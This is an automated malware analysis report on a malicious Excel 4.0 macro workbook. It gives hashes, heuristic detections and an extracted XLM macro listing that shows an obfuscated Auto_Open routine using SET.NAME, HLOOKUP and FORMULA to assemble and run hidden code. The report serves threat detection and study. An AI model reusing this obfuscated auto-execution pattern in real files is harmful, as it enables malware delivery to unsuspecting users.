Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a45fc7048cfd7e4f…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:32:46 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: fd927221ac3c64708c772635ddf198f3 SHA-1: cee184e40281a28769d41da33eb2a0ea03f9dccb SHA-256: a45fc7048cfd7e4f1c6aae467272ccb770bef9aa1c0aef59a39b97a1c804170d
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook. Static analysis detected the presence of an Auto_Open macro and the use of dangerous formula APIs, indicating an attempt to execute arbitrary code. The macro sheet contains numerous obfuscated strings and labels, suggesting it is designed to download and execute a secondary payload. The specific function calls within the macro are not fully detailed, but the presence of 'RUN=0' in the heuristic firing suggests a command execution capability.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6556 bytes
SHA-256: b5821c3c0c446017f10eb3b3295df5c93194e24b6edc5b1ff00060cb12c7c69f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  WJNATXEEk
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D144 
' 0018     26 LABEL : Cell Value, String Constant - ByuwyXajdOc len=0 
' 0018     22 LABEL : Cell Value, String Constant - CHHkTJf len=0 
' 0018     25 LABEL : Cell Value, String Constant - cxWNwUYEeN len=0 
' 0018     22 LABEL : Cell Value, String Constant - eIBheGj len=0 
' 0018     20 LABEL : Cell Value, String Constant - eQVZN len=0 
' 0018     27 LABEL : Cell Value, String Constant - hCIXtafRXtqi len=0 
' 0018     25 LABEL : Cell Value, String Constant - hXWLPxpOGh len=0 
' 0018     20 LABEL : Cell Value, String Constant - LbSUv len=0 
' 0018     21 LABEL : Cell Value, String Constant - LwKsuW len=0 
' 0018     23 LABEL : Cell Value, String Constant - mCMPSolh len=0 
' 0018     24 LABEL : Cell Value, String Constant - npwvWqbGA len=0 
' 0018     27 LABEL : Cell Value, String Constant - pbQkJThjMjqg len=0 
' 0018     26 LABEL : Cell Value, String Constant - PFVbGyzafkS len=0 
' 0018     21 LABEL : Cell Value, String Constant - pTAKlK len=0 
' 0018     21 LABEL : Cell Value, String Constant - raXbmq len=0 
' 0018     25 LABEL : Cell Value, String Constant - RFHUNBIeGk len=0 
' 0018     25 LABEL : Cell Value, String Constant - sJhcTwPoKi len=0 
' 0018     22 LABEL : Cell Value, String Constant - TheCZPZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - wOJvhbVnk len=0 
' 0018     23 LABEL : Cell Value, String Constant - yEujClRe len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  WJNATXEEk,D49,"SET.NAME("wOJvhbVnk",VALUE("0"))",""
'  WJNATXEEk,D53,"SET.NAME("eQVZN",wOJvhbVnk)",""
'  WJNATXEEk,D58,"SET.NAME("cxWNwUYEeN",wOJvhbVnk)",""
'  WJNATXEEk,D60,"SET.NAME("sJhcTwPoKi",COUNTA(eIBheGj))",""
'  WJNATXEEk,D64,"SET.NAME("yEujClRe",COUNTA(ByuwyXajdOc))",""
'  WJNATXEEk,D68,[],""
'  WJNATXEEk,D72,"SET.NAME("TheCZPZ","")",""
'  WJNATXEEk,D76,"eQVZN",""
'  WJNATXEEk,D79,"SET.NAME("LwKsuW",HLOOKUP("*",eIBheGj,eQVZN,FALSE))",""
'  WJNATXEEk,D81,"pbQkJThjMjqg",""
'  WJNATXEEk,D86,"SET.NAME("pTAKlK",wOJvhbVnk)",""
'  WJNATXEEk,D91,[],""
'  WJNATXEEk,D95,"pTAKlK",""
'  WJNATXEEk,D99,"RFHUNBIeGk",""
'  WJNATXEEk,D104,"hCIXtafRXtqi",""
'  WJNATXEEk,D106,"hXWLPxpOGh",""
'  WJNATXEEk,D109,"SET.NAME("mCMPSolh",VALUE(HLOOKUP("*",ByuwyXajdOc,hXWLPxpOGh,FALSE)))",""
'  WJNATXEEk,D112,"npwvWqbGA",""
'  WJNATXEEk,D117,"TheCZPZ",""
'  WJNATXEEk,D119,"cxWNwUYEeN",""
'  WJNATXEEk,D124,NEXT(),""
'  WJNATXEEk,D126,"raXbmq",""
'  WJNATXEEk,D128,"SET.NAME("f",INT(T(FORMULA(T(TheCZPZ)&"",""&T(raXbmq)))))",""
'  WJNATXEEk,D130,"CHHkTJf",""
'  WJNATXEEk,D134,NEXT(),""
'  WJNATXEEk,D139,RETURN(),""
'  WJNATXEEk,D168,"SET.NAME("LbSUv",D49)",""
'  WJNATXEEk,D173,"eIBheGj",""
'  WJNATXEEk,D177,"SET.NAME("ByuwyXajdOc",R70C12)",""
'  WJNATXEEk,D180,"SET.NAME("CHHkTJf",191)",""
'  WJNATXEEk,D185,"SET.NAME("PFVbGyzafkS",4)",""
'  WJNATXEEk,D190,LbSUv(),""
'  WJNATXEEk,D191,HALT(),""